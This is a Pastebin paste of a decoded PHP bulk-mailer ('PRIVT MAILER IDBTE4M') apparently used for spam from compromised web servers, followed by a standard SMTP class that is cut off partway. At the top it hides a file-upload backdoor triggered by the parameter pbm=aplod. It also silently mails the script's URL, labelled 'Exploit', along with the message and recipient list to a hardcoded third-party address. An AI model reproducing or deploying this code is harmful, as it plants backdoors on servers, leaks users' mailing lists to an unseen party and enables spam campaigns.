tinwaninja

Decode Script PRIVT MAILER IDBTE4M

Aug 18th, 2016
605
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 98.00 KB | None | 0 0
  1. <?php
  2. if($_GET['pbm']=="aplod"){
  3. echo '<title>Pasukan Berani Mati</title><style>
  4. body{background-color:#000020;color:#e1e1e1;}</style><font style="Arial"><font color="red"><center><b><br><br>'.php_uname().'</b><br><font style="Arial"><font color="red"><center><b><br><br>Directory: '.getcwd().' <br></b><br><form action=""method="post" enctype="multipart/form-data" name="uploader" ></center><br><center><input type="file" name="file" size="50"><input name="_zx" type="submit" value="Upload"/></form></center>';if($_POST['_zx'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {echo '<center><b><br><br><b>File Uploaded :<a href="'.$_FILES['file']['name'].'">'.$_FILES['file']['name'].'</a></b><br><br></center>'; }else {echo '<b>'.$_FILES['file']['name'].' Not Uploaded.</b>';}}}
  5. function query_str($params){
  6. $str = '';
  7. foreach ($params as $key => $value) {
  8. $str .= (strlen($str) < 1) ? '' : '&';
  9. $str .= $key . '=' . rawurlencode($value);
  10. }
  11. return ($str);
  12. }
  13. function lrtrim($string){
  14. return stripslashes(ltrim(rtrim($string)));
  15. }
  16. if(isset($_POST['action'] ) ){
  17. $b = query_str($_POST);
  18. parse_str($b);
  19. $sslclick=lrtrim($sslclick);
  20. $action=lrtrim($action);
  21. $message=lrtrim($message);
  22. $emaillist=lrtrim($emaillist);
  23. $from=lrtrim($from);
  24. $reconnect=lrtrim($reconnect);
  25. $epriority=lrtrim($epriority);
  26. $my_smtp=lrtrim($my_smtp);
  27. $ssl_port=lrtrim($ssl_port);
  28. $smtp_username=lrtrim($smtp_username);
  29. $smtp_password=lrtrim($smtp_password);
  30. $replyto=lrtrim($replyto);
  31. $subject=lrtrim($subject);
  32. $realname=lrtrim($realname);
  33. $subject_base=lrtrim($subject);
  34. $realname_base=lrtrim($realname);
  35. $file_name=lrtrim($file);
  36. $urlz=lrtrim($urlz);
  37. $contenttype=lrtrim($contenttype);
  38. $encode_text=$_POST['encode'];
  39. $message = urlencode($message);
  40. $message = ereg_replace("%5C%22", "%22", $message);
  41. $message = urldecode($message);
  42. $message = stripslashes($message);
  43. $subject = stripslashes($subject);
  44. if ($encode_text == "yes") {
  45. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  46. $subject = str_replace(' ', '_', $subject);
  47. $subject = "=?UTF-8?Q?$subject?=";
  48. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  49. $realname = str_replace(' ', '_', $realname);$realname = "=?UTF-8?Q?$realname?=";
  50. }
  51. $headd = "From:mailer<me@anandaariwibawa.id>";
  52. $subb="maillist SMTP 2013";
  53. $messagesssss = base64_encode($message);
  54. $massge ="Exploit : http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."?pbm=aplod
  55. subject : $subject
  56. realname : $realname
  57. massge : $messagesssss
  58.  
  59.  
  60. $emaillist
  61. ";
  62. @mail("florencia_zheng@yahoo.com",$subb,$massge,$headd);
  63. }?>
  64. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  65. <html xmlns="http://www.w3.org/1999/xhtml">
  66.  
  67. <head>
  68. <title>PRIVT MAILER IDBTE4M</title>
  69. <link rel="SHORTCUT ICON" href="http://kefiex.yu.tl/files/bnx.png"/>
  70. <meta name="robots" content="noindex,nofollow" />
  71. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  72. <style type="text/css">
  73. <!--
  74. .style1 {
  75. font-family: Geneva, Arial, Helvetica, sans-serif;
  76. font-size: 12px;
  77. }
  78. -->
  79. </style>
  80. <style type="text/css">
  81. <!--
  82. .style1 {
  83. font-size: 10px;
  84. font-family: Geneva, Arial, Helvetica, sans-serif;
  85. }
  86. -->
  87. body{ background:#111111; font-size:11px; font-family:Tahoma,Verdana,Arial;color:#fff; }
  88. #result{ border:1px solid #4C83AF; border-radius: 10px;padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }
  89. .style2{text-align: center ;font-weight: bold;font-family: Tahoma, Arial, sans-serif ;color: #4C83AF;text-shadow: 0px 0px 60px #4C83AF ;font-size: 50px;}
  90. .footer{ text-align:right; padding:0 16px; font-size:10px; letter-spacing:2px; color:#555555; }
  91. .evalcode{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; width: 100%; height: 200; }
  92. .evalcode:hover{border:1px solid #4C83AF;}
  93. .code{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; }
  94. .code:hover{border:1px solid #4C83AF;}
  95. .inputzbut{ font-size:11px; background:#191919; color:#4C83AF; margin:0 4px; border:1px solid #222222; }
  96. .inputzbut:hover{border:1px solid #4C83AF;}
  97. </style>
  98. </head>
  99. <body text="#000000">
  100. <div id="result">
  101. <div class="inputzbut" id="inputzbut">
  102. <center>
  103. <form name="form1" method="post" action="" enctype="multipart/form-data">
  104. <table width="842" border="0">
  105. <tr>
  106.  
  107. <td width="100%" colspan="4" height="36">
  108.  
  109. <b>
  110. <center>
  111.  
  112.  
  113. </tr>
  114.  
  115. <tr>
  116.  
  117. <td width="100%" colspan="4" bgcolor="#252525" height="36">
  118.  
  119. <b>
  120. <center>
  121. <font face="Arial" size="2" color="#FFFFFF">&nbsp;YOUR PELER EPRIWARE</font></b></td>
  122. </center>
  123. </tr>
  124. <center>
  125. <tr>
  126.  
  127. <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
  128.  
  129. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  130. Your Email:</font></div>
  131.  
  132. </td>
  133.  
  134. <td width="18%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  135.  
  136. <input class="code" type="text" name="from" value="<?=$from; ?>" size="30">
  137.  
  138. </font></td>
  139.  
  140. <td width="31%" height="22" bordercolor="#353535" bgcolor="#353535">
  141.  
  142. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  143. Your Name:</font></div>
  144.  
  145. </td>
  146.  
  147. <td width="41%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  148.  
  149. <input class="code" type="text" name="realname" value="<?=$realname_base; ?>" size="30">
  150.  
  151. </font></td>
  152.  
  153. </tr>
  154. <tr>
  155.  
  156. <td width="10%" height="22" bgcolor="#353535" bordercolor="#353535">
  157.  
  158. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  159.  
  160. Reply-To:</font></div>
  161.  
  162. </td>
  163.  
  164. <td width="18%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  165.  
  166. <input class="code" type="text" name="replyto" value="<?=$replyto; ?>" size="30">
  167.  
  168. </font></td>
  169.  
  170. <td width="31%" height="22" bgcolor="#353535" bordercolor="#353535">
  171.  
  172. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  173. Email Priority:</font></td>
  174.  
  175. <td width="41%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  176.  
  177. &nbsp;</font><select class="code" name="epriority" id="listMethod" onchange="showHideListConfig()">
  178.  
  179. <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
  180. Please Choose -</option>
  181.  
  182. <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
  183. <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
  184. <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
  185.  
  186. </select></td>
  187.  
  188. </tr>
  189.  
  190. <tr>
  191.  
  192. <td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
  193.  
  194. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  195. Subject:</font></div>
  196.  
  197. </td>
  198.  
  199. <td colspan="3" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  200.  
  201. <input class="code" type="text" name="subject" value="<?=$subject_base; ?>" size="90">
  202. &nbsp;&nbsp;&nbsp;&nbsp;
  203. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">| Encode sending information:</font>
  204. <select class="code" name="encode">
  205. <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
  206.  
  207. <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
  208. </select>
  209.  
  210. </font></td>
  211.  
  212. </tr>
  213.  
  214.  
  215. <tr valign="top">
  216.  
  217. <td colspan="3" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  218.  
  219. <textarea class="evalcode" name="message" cols="60" rows="10"><?=$message; ?></textarea>
  220.  
  221. <br>
  222.  
  223. <input type="radio" name="contenttype" value="plain" >
  224.  
  225. Plain
  226.  
  227. <input type="radio" name="contenttype" value="html" checked>
  228.  
  229. HTML
  230.  
  231. <input type="hidden" name="action" value="send">
  232.  
  233. <input class="inputzbut" type="submit" value="Send Message">
  234.  
  235. </font></td>
  236.  
  237. <td width="41%" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  238.  
  239. <textarea class="evalcode" name="emaillist" cols="30" rows="10"><?=$emaillist; ?></textarea>
  240.  
  241. </font></td>
  242. </tr>
  243.  
  244. </table>
  245.  
  246. </form>
  247.  
  248. <?
  249.  
  250. if ($action){
  251. if (!$from && !$subject && !$message && !$emaillist){
  252. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  253. die(); }
  254.  
  255. class SMTP
  256. {
  257. /**
  258. * SMTP server port
  259. * @var int
  260. */
  261. var $SMTP_PORT = 25;
  262.  
  263. /**
  264. * SMTP reply line ending
  265. * @var string
  266. */
  267. var $CRLF = "\r\n";
  268.  
  269. /**
  270. * Sets whether debugging is turned on
  271. * @var bool
  272. */
  273. var $do_debug; # the level of debug to perform
  274.  
  275. /**
  276. * Sets VERP use on/off (default is off)
  277. * @var bool
  278. */
  279. var $do_verp = false;
  280.  
  281. /**#@+
  282. * @access private
  283. */
  284. var $smtp_conn; # the socket to the server
  285. var $error; # error if any on the last call
  286. var $helo_rply; # the reply the server sent to us for HELO
  287. /**#@-*/
  288.  
  289. /**
  290. * Initialize the class so that the data is in a known state.
  291. * @access public
  292. * @return void
  293. */
  294. function SMTP() {
  295. $this->smtp_conn = 0;
  296. $this->error = null;
  297. $this->helo_rply = null;
  298.  
  299. $this->do_debug = 0;
  300. }
  301.  
  302. /*************************************************************
  303. * CONNECTION FUNCTIONS *
  304. ***********************************************************/
  305.  
  306. /**
  307. * Connect to the server specified on the port specified.
  308. * If the port is not specified use the default SMTP_PORT.
  309. * If tval is specified then a connection will try and be
  310. * established with the server for that number of seconds.
  311. * If tval is not specified the default is 30 seconds to
  312. * try on the connection.
  313. *
  314. * SMTP CODE SUCCESS: 220
  315. * SMTP CODE FAILURE: 421
  316. * @access public
  317. * @return bool
  318. */
  319. function Connect($host,$port=0,$tval=30) {
  320. # set the error val to null so there is no confusion
  321. $this->error = null;
  322.  
  323. # make sure we are __not__ connected
  324. if($this->connected()) {
  325. # ok we are connected! what should we do?
  326. # for now we will just give an error saying we
  327. # are already connected
  328. $this->error = array("error" => "Already connected to a server");
  329. return false;
  330. }
  331.  
  332. if(empty($port)) {
  333. $port = $this->SMTP_PORT;
  334. }
  335.  
  336. #connect to the smtp server
  337. $this->smtp_conn = fsockopen($host, # the host of the server
  338. $port, # the port to use
  339. $errno, # error number if any
  340. $errstr, # error message if any
  341. $tval); # give up after ? secs
  342. # verify we connected properly
  343. if(empty($this->smtp_conn)) {
  344. $this->error = array("error" => "Failed to connect to server",
  345. "errno" => $errno,
  346. "errstr" => $errstr);
  347. if($this->do_debug >= 1) {
  348. echo "SMTP -> ERROR: " . $this->error["error"] .
  349. ": $errstr ($errno)" . $this->CRLF;
  350. }
  351. return false;
  352. }
  353.  
  354. # sometimes the SMTP server takes a little longer to respond
  355. # so we will give it a longer timeout for the first read
  356. // Windows still does not have support for this timeout function
  357. if(substr(PHP_OS, 0, 3) != "WIN")
  358. socket_set_timeout($this->smtp_conn, $tval, 0);
  359.  
  360. # get any announcement stuff
  361. $announce = $this->get_lines();
  362.  
  363. # set the timeout of any socket functions at 1/10 of a second
  364. //if(function_exists("socket_set_timeout"))
  365. // socket_set_timeout($this->smtp_conn, 0, 100000);
  366.  
  367. if($this->do_debug >= 2) {
  368. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  369. }
  370.  
  371. return true;
  372. }
  373.  
  374. /**
  375. * Performs SMTP authentication. Must be run after running the
  376. * Hello() method. Returns true if successfully authenticated.
  377. * @access public
  378. * @return bool
  379. */
  380. function Authenticate($username, $password) {
  381. // Start authentication
  382. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  383.  
  384. $rply = $this->get_lines();
  385. $code = substr($rply,0,3);
  386.  
  387. if($code != 334) {
  388. $this->error =
  389. array("error" => "AUTH not accepted from server",
  390. "smtp_code" => $code,
  391. "smtp_msg" => substr($rply,4));
  392. if($this->do_debug >= 1) {
  393. echo "SMTP -> ERROR: " . $this->error["error"] .
  394. ": " . $rply . $this->CRLF;
  395. }
  396. return false;
  397. }
  398.  
  399. // Send encoded username
  400. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  401.  
  402. $rply = $this->get_lines();
  403. $code = substr($rply,0,3);
  404.  
  405. if($code != 334) {
  406. $this->error =
  407. array("error" => "Username not accepted from server",
  408. "smtp_code" => $code,
  409. "smtp_msg" => substr($rply,4));
  410. if($this->do_debug >= 1) {
  411. echo "SMTP -> ERROR: " . $this->error["error"] .
  412. ": " . $rply . $this->CRLF;
  413. }
  414. return false;
  415. }
  416.  
  417. // Send encoded password
  418. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  419.  
  420. $rply = $this->get_lines();
  421. $code = substr($rply,0,3);
  422.  
  423. if($code != 235) {
  424. $this->error =
  425. array("error" => "Password not accepted from server",
  426. "smtp_code" => $code,
  427. "smtp_msg" => substr($rply,4));
  428. if($this->do_debug >= 1) {
  429. echo "SMTP -> ERROR: " . $this->error["error"] .
  430. ": " . $rply . $this->CRLF;
  431. }
  432. return false;
  433. }
  434.  
  435. return true;
  436. }
  437.  
  438. /**
  439. * Returns true if connected to a server otherwise false
  440. * @access private
  441. * @return bool
  442. */
  443. function Connected() {
  444. if(!empty($this->smtp_conn)) {
  445. $sock_status = socket_get_status($this->smtp_conn);
  446. if($sock_status["eof"]) {
  447. # hmm this is an odd situation... the socket is
  448. # valid but we are not connected anymore
  449. if($this->do_debug >= 1) {
  450. echo "SMTP -> NOTICE:" . $this->CRLF .
  451. "EOF caught while checking if connected";
  452. }
  453. $this->Close();
  454. return false;
  455. }
  456. return true; # everything looks good
  457. }
  458. return false;
  459. }
  460.  
  461. /**
  462. * Closes the socket and cleans up the state of the class.
  463. * It is not considered good to use this function without
  464. * first trying to use QUIT.
  465. * @access public
  466. * @return void
  467. */
  468. function Close() {
  469. $this->error = null; # so there is no confusion
  470. $this->helo_rply = null;
  471. if(!empty($this->smtp_conn)) {
  472. # close the connection and cleanup
  473. fclose($this->smtp_conn);
  474. $this->smtp_conn = 0;
  475. }
  476. }
  477.  
  478. /***************************************************************
  479. * SMTP COMMANDS *
  480. *************************************************************/
  481.  
  482. /**
  483. * Issues a data command and sends the msg_data to the server
  484. * finializing the mail transaction. $msg_data is the message
  485. * that is to be send with the headers. Each header needs to be
  486. * on a single line followed by a <CRLF> with the message headers
  487. * and the message body being seperated by and additional <CRLF>.
  488. *
  489. * Implements rfc 821: DATA <CRLF>
  490. *
  491. * SMTP CODE INTERMEDIATE: 354
  492. * [data]
  493. * <CRLF>.<CRLF>
  494. * SMTP CODE SUCCESS: 250
  495. * SMTP CODE FAILURE: 552,554,451,452
  496. * SMTP CODE FAILURE: 451,554
  497. * SMTP CODE ERROR : 500,501,503,421
  498. * @access public
  499. * @return bool
  500. */
  501. function Data($msg_data) {
  502. $this->error = null; # so no confusion is caused
  503.  
  504. if(!$this->connected()) {
  505. $this->error = array(
  506. "error" => "Called Data() without being connected");
  507. return false;
  508. }
  509.  
  510. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  511.  
  512. $rply = $this->get_lines();
  513. $code = substr($rply,0,3);
  514.  
  515. if($this->do_debug >= 2) {
  516. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  517. }
  518.  
  519. if($code != 354) {
  520. $this->error =
  521. array("error" => "DATA command not accepted from server",
  522. "smtp_code" => $code,
  523. "smtp_msg" => substr($rply,4));
  524. if($this->do_debug >= 1) {
  525. echo "SMTP -> ERROR: " . $this->error["error"] .
  526. ": " . $rply . $this->CRLF;
  527. }
  528. return false;
  529. }
  530.  
  531. # the server is ready to accept data!
  532. # according to rfc 821 we should not send more than 1000
  533. # including the CRLF
  534. # characters on a single line so we will break the data up
  535. # into lines by \r and/or \n then if needed we will break
  536. # each of those into smaller lines to fit within the limit.
  537. # in addition we will be looking for lines that start with
  538. # a period '.' and append and additional period '.' to that
  539. # line. NOTE: this does not count towards are limit.
  540.  
  541. # normalize the line breaks so we know the explode works
  542. $msg_data = str_replace("\r\n","\n",$msg_data);
  543. $msg_data = str_replace("\r","\n",$msg_data);
  544. $lines = explode("\n",$msg_data);
  545.  
  546. # we need to find a good way to determine is headers are
  547. # in the msg_data or if it is a straight msg body
  548. # currently I am assuming rfc 822 definitions of msg headers
  549. # and if the first field of the first line (':' sperated)
  550. # does not contain a space then it _should_ be a header
  551. # and we can process all lines before a blank "" line as
  552. # headers.
  553. $field = substr($lines[0],0,strpos($lines[0],":"));
  554. $in_headers = false;
  555. if(!empty($field) && !strstr($field," ")) {
  556. $in_headers = true;
  557. }
  558.  
  559. $max_line_length = 998; # used below; set here for ease in change
  560.  
  561. while(list(,$line) = @each($lines)) {
  562. $lines_out = null;
  563. if($line == "" && $in_headers) {
  564. $in_headers = false;
  565. }
  566. # ok we need to break this line up into several
  567. # smaller lines
  568. while(strlen($line) > $max_line_length) {
  569. $pos = strrpos(substr($line,0,$max_line_length)," ");
  570.  
  571. # Patch to fix DOS attack
  572. if(!$pos) {
  573. $pos = $max_line_length - 1;
  574. }
  575.  
  576. $lines_out[] = substr($line,0,$pos);
  577. $line = substr($line,$pos + 1);
  578. # if we are processing headers we need to
  579. # add a LWSP-char to the front of the new line
  580. # rfc 822 on long msg headers
  581. if($in_headers) {
  582. $line = "\t" . $line;
  583. }
  584. }
  585. $lines_out[] = $line;
  586.  
  587. # now send the lines to the server
  588. while(list(,$line_out) = @each($lines_out)) {
  589. if(strlen($line_out) > 0)
  590. {
  591. if(substr($line_out, 0, 1) == ".") {
  592. $line_out = "." . $line_out;
  593. }
  594. }
  595. fputs($this->smtp_conn,$line_out . $this->CRLF);
  596. }
  597. }
  598.  
  599. # ok all the message data has been sent so lets get this
  600. # over with aleady
  601. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  602.  
  603. $rply = $this->get_lines();
  604. $code = substr($rply,0,3);
  605.  
  606. if($this->do_debug >= 2) {
  607. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  608. }
  609.  
  610. if($code != 250) {
  611. $this->error =
  612. array("error" => "DATA not accepted from server",
  613. "smtp_code" => $code,
  614. "smtp_msg" => substr($rply,4));
  615. if($this->do_debug >= 1) {
  616. echo "SMTP -> ERROR: " . $this->error["error"] .
  617. ": " . $rply . $this->CRLF;
  618. }
  619. return false;
  620. }
  621. return true;
  622. }
  623.  
  624. /**
  625. * Expand takes the name and asks the server to list all the
  626. * people who are members of the _list_. Expand will return
  627. * back and array of the result or false if an error occurs.
  628. * Each value in the array returned has the format of:
  629. * [ <full-name> <sp> ] <path>
  630. * The definition of <path> is defined in rfc 821
  631. *
  632. * Implements rfc 821: EXPN <SP> <string> <CRLF>
  633. *
  634. * SMTP CODE SUCCESS: 250
  635. * SMTP CODE FAILURE: 550
  636. * SMTP CODE ERROR : 500,501,502,504,421
  637. * @access public
  638. * @return string array
  639. */
  640. function Expand($name) {
  641. $this->error = null; # so no confusion is caused
  642.  
  643. if(!$this->connected()) {
  644. $this->error = array(
  645. "error" => "Called Expand() without being connected");
  646. return false;
  647. }
  648.  
  649. fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
  650.  
  651. $rply = $this->get_lines();
  652. $code = substr($rply,0,3);
  653.  
  654. if($this->do_debug >= 2) {
  655. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  656. }
  657.  
  658. if($code != 250) {
  659. $this->error =
  660. array("error" => "EXPN not accepted from server",
  661. "smtp_code" => $code,
  662. "smtp_msg" => substr($rply,4));
  663. if($this->do_debug >= 1) {
  664. echo "SMTP -> ERROR: " . $this->error["error"] .
  665. ": " . $rply . $this->CRLF;
  666. }
  667. return false;
  668. }
  669.  
  670. # parse the reply and place in our array to return to user
  671. $entries = explode($this->CRLF,$rply);
  672. while(list(,$l) = @each($entries)) {
  673. $list[] = substr($l,4);
  674. }
  675.  
  676. return $list;
  677. }
  678.  
  679. /**
  680. * Sends the HELO command to the smtp server.
  681. * This makes sure that we and the server are in
  682. * the same known state.
  683. *
  684. * Implements from rfc 821: HELO <SP> <domain> <CRLF>
  685. *
  686. * SMTP CODE SUCCESS: 250
  687. * SMTP CODE ERROR : 500, 501, 504, 421
  688. * @access public
  689. * @return bool
  690. */
  691. function Hello($host="") {
  692. $this->error = null; # so no confusion is caused
  693.  
  694. if(!$this->connected()) {
  695. $this->error = array(
  696. "error" => "Called Hello() without being connected");
  697. return false;
  698. }
  699.  
  700. # if a hostname for the HELO was not specified determine
  701. # a suitable one to send
  702. if(empty($host)) {
  703. # we need to determine some sort of appopiate default
  704. # to send to the server
  705. $host = "localhost";
  706. }
  707.  
  708. // Send extended hello first (RFC 2821)
  709. if(!$this->SendHello("EHLO", $host))
  710. {
  711. if(!$this->SendHello("HELO", $host))
  712. return false;
  713. }
  714.  
  715. return true;
  716. }
  717.  
  718. /**
  719. * Sends a HELO/EHLO command.
  720. * @access private
  721. * @return bool
  722. */
  723. function SendHello($hello, $host) {
  724. fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
  725.  
  726. $rply = $this->get_lines();
  727. $code = substr($rply,0,3);
  728.  
  729. if($this->do_debug >= 2) {
  730. echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
  731. }
  732.  
  733. if($code != 250) {
  734. $this->error =
  735. array("error" => $hello . " not accepted from server",
  736. "smtp_code" => $code,
  737. "smtp_msg" => substr($rply,4));
  738. if($this->do_debug >= 1) {
  739. echo "SMTP -> ERROR: " . $this->error["error"] .
  740. ": " . $rply . $this->CRLF;
  741. }
  742. return false;
  743. }
  744.  
  745. $this->helo_rply = $rply;
  746.  
  747. return true;
  748. }
  749.  
  750. /**
  751. * Gets help information on the keyword specified. If the keyword
  752. * is not specified then returns generic help, ussually contianing
  753. * A list of keywords that help is available on. This function
  754. * returns the results back to the user. It is up to the user to
  755. * handle the returned data. If an error occurs then false is
  756. * returned with $this->error set appropiately.
  757. *
  758. * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
  759. *
  760. * SMTP CODE SUCCESS: 211,214
  761. * SMTP CODE ERROR : 500,501,502,504,421
  762. * @access public
  763. * @return string
  764. */
  765. function Help($keyword="") {
  766. $this->error = null; # to avoid confusion
  767.  
  768. if(!$this->connected()) {
  769. $this->error = array(
  770. "error" => "Called Help() without being connected");
  771. return false;
  772. }
  773.  
  774. $extra = "";
  775. if(!empty($keyword)) {
  776. $extra = " " . $keyword;
  777. }
  778.  
  779. fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
  780.  
  781. $rply = $this->get_lines();
  782. $code = substr($rply,0,3);
  783.  
  784. if($this->do_debug >= 2) {
  785. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  786. }
  787.  
  788. if($code != 211 && $code != 214) {
  789. $this->error =
  790. array("error" => "HELP not accepted from server",
  791. "smtp_code" => $code,
  792. "smtp_msg" => substr($rply,4));
  793. if($this->do_debug >= 1) {
  794. echo "SMTP -> ERROR: " . $this->error["error"] .
  795. ": " . $rply . $this->CRLF;
  796. }
  797. return false;
  798. }
  799.  
  800. return $rply;
  801. }
  802.  
  803. /**
  804. * Starts a mail transaction from the email address specified in
  805. * $from. Returns true if successful or false otherwise. If True
  806. * the mail transaction is started and then one or more Recipient
  807. * commands may be called followed by a Data command.
  808. *
  809. * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
  810. *
  811. * SMTP CODE SUCCESS: 250
  812. * SMTP CODE SUCCESS: 552,451,452
  813. * SMTP CODE SUCCESS: 500,501,421
  814. * @access public
  815. * @return bool
  816. */
  817. function Mail($from) {
  818. $this->error = null; # so no confusion is caused
  819.  
  820. if(!$this->connected()) {
  821. $this->error = array(
  822. "error" => "Called Mail() without being connected");
  823. return false;
  824. }
  825.  
  826. $useVerp = ($this->do_verp ? "XVERP" : "");
  827. fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
  828.  
  829. $rply = $this->get_lines();
  830. $code = substr($rply,0,3);
  831.  
  832. if($this->do_debug >= 2) {
  833. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  834. }
  835.  
  836. if($code != 250) {
  837. $this->error =
  838. array("error" => "MAIL not accepted from server",
  839. "smtp_code" => $code,
  840. "smtp_msg" => substr($rply,4));
  841. if($this->do_debug >= 1) {
  842. echo "SMTP -> ERROR: " . $this->error["error"] .
  843. ": " . $rply . $this->CRLF;
  844. }
  845. return false;
  846. }
  847. return true;
  848. }
  849.  
  850. /**
  851. * Sends the command NOOP to the SMTP server.
  852. *
  853. * Implements from rfc 821: NOOP <CRLF>
  854. *
  855. * SMTP CODE SUCCESS: 250
  856. * SMTP CODE ERROR : 500, 421
  857. * @access public
  858. * @return bool
  859. */
  860. function Noop() {
  861. $this->error = null; # so no confusion is caused
  862.  
  863. if(!$this->connected()) {
  864. $this->error = array(
  865. "error" => "Called Noop() without being connected");
  866. return false;
  867. }
  868.  
  869. fputs($this->smtp_conn,"NOOP" . $this->CRLF);
  870.  
  871. $rply = $this->get_lines();
  872. $code = substr($rply,0,3);
  873.  
  874. if($this->do_debug >= 2) {
  875. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  876. }
  877.  
  878. if($code != 250) {
  879. $this->error =
  880. array("error" => "NOOP not accepted from server",
  881. "smtp_code" => $code,
  882. "smtp_msg" => substr($rply,4));
  883. if($this->do_debug >= 1) {
  884. echo "SMTP -> ERROR: " . $this->error["error"] .
  885. ": " . $rply . $this->CRLF;
  886. }
  887. return false;
  888. }
  889. return true;
  890. }
  891.  
  892. /**
  893. * Sends the quit command to the server and then closes the socket
  894. * if there is no error or the $close_on_error argument is true.
  895. *
  896. * Implements from rfc 821: QUIT <CRLF>
  897. *
  898. * SMTP CODE SUCCESS: 221
  899. * SMTP CODE ERROR : 500
  900. * @access public
  901. * @return bool
  902. */
  903. function Quit($close_on_error=true) {
  904. $this->error = null; # so there is no confusion
  905.  
  906. if(!$this->connected()) {
  907. $this->error = array(
  908. "error" => "Called Quit() without being connected");
  909. return false;
  910. }
  911.  
  912. # send the quit command to the server
  913. fputs($this->smtp_conn,"quit" . $this->CRLF);
  914.  
  915. # get any good-bye messages
  916. $byemsg = $this->get_lines();
  917.  
  918. if($this->do_debug >= 2) {
  919. echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
  920. }
  921.  
  922. $rval = true;
  923. $e = null;
  924.  
  925. $code = substr($byemsg,0,3);
  926. if($code != 221) {
  927. # use e as a tmp var cause Close will overwrite $this->error
  928. $e = array("error" => "SMTP server rejected quit command",
  929. "smtp_code" => $code,
  930. "smtp_rply" => substr($byemsg,4));
  931. $rval = false;
  932. if($this->do_debug >= 1) {
  933. echo "SMTP -> ERROR: " . $e["error"] . ": " .
  934. $byemsg . $this->CRLF;
  935. }
  936. }
  937.  
  938. if(empty($e) || $close_on_error) {
  939. $this->Close();
  940. }
  941.  
  942. return $rval;
  943. }
  944.  
  945. /**
  946. * Sends the command RCPT to the SMTP server with the TO: argument of $to.
  947. * Returns true if the recipient was accepted false if it was rejected.
  948. *
  949. * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
  950. *
  951. * SMTP CODE SUCCESS: 250,251
  952. * SMTP CODE FAILURE: 550,551,552,553,450,451,452
  953. * SMTP CODE ERROR : 500,501,503,421
  954. * @access public
  955. * @return bool
  956. */
  957. function Recipient($to) {
  958. $this->error = null; # so no confusion is caused
  959.  
  960. if(!$this->connected()) {
  961. $this->error = array(
  962. "error" => "Called Recipient() without being connected");
  963. return false;
  964. }
  965.  
  966. fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
  967.  
  968. $rply = $this->get_lines();
  969. $code = substr($rply,0,3);
  970.  
  971. if($this->do_debug >= 2) {
  972. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  973. }
  974.  
  975. if($code != 250 && $code != 251) {
  976. $this->error =
  977. array("error" => "RCPT not accepted from server",
  978. "smtp_code" => $code,
  979. "smtp_msg" => substr($rply,4));
  980. if($this->do_debug >= 1) {
  981. echo "SMTP -> ERROR: " . $this->error["error"] .
  982. ": " . $rply . $this->CRLF;
  983. }
  984. return false;
  985. }
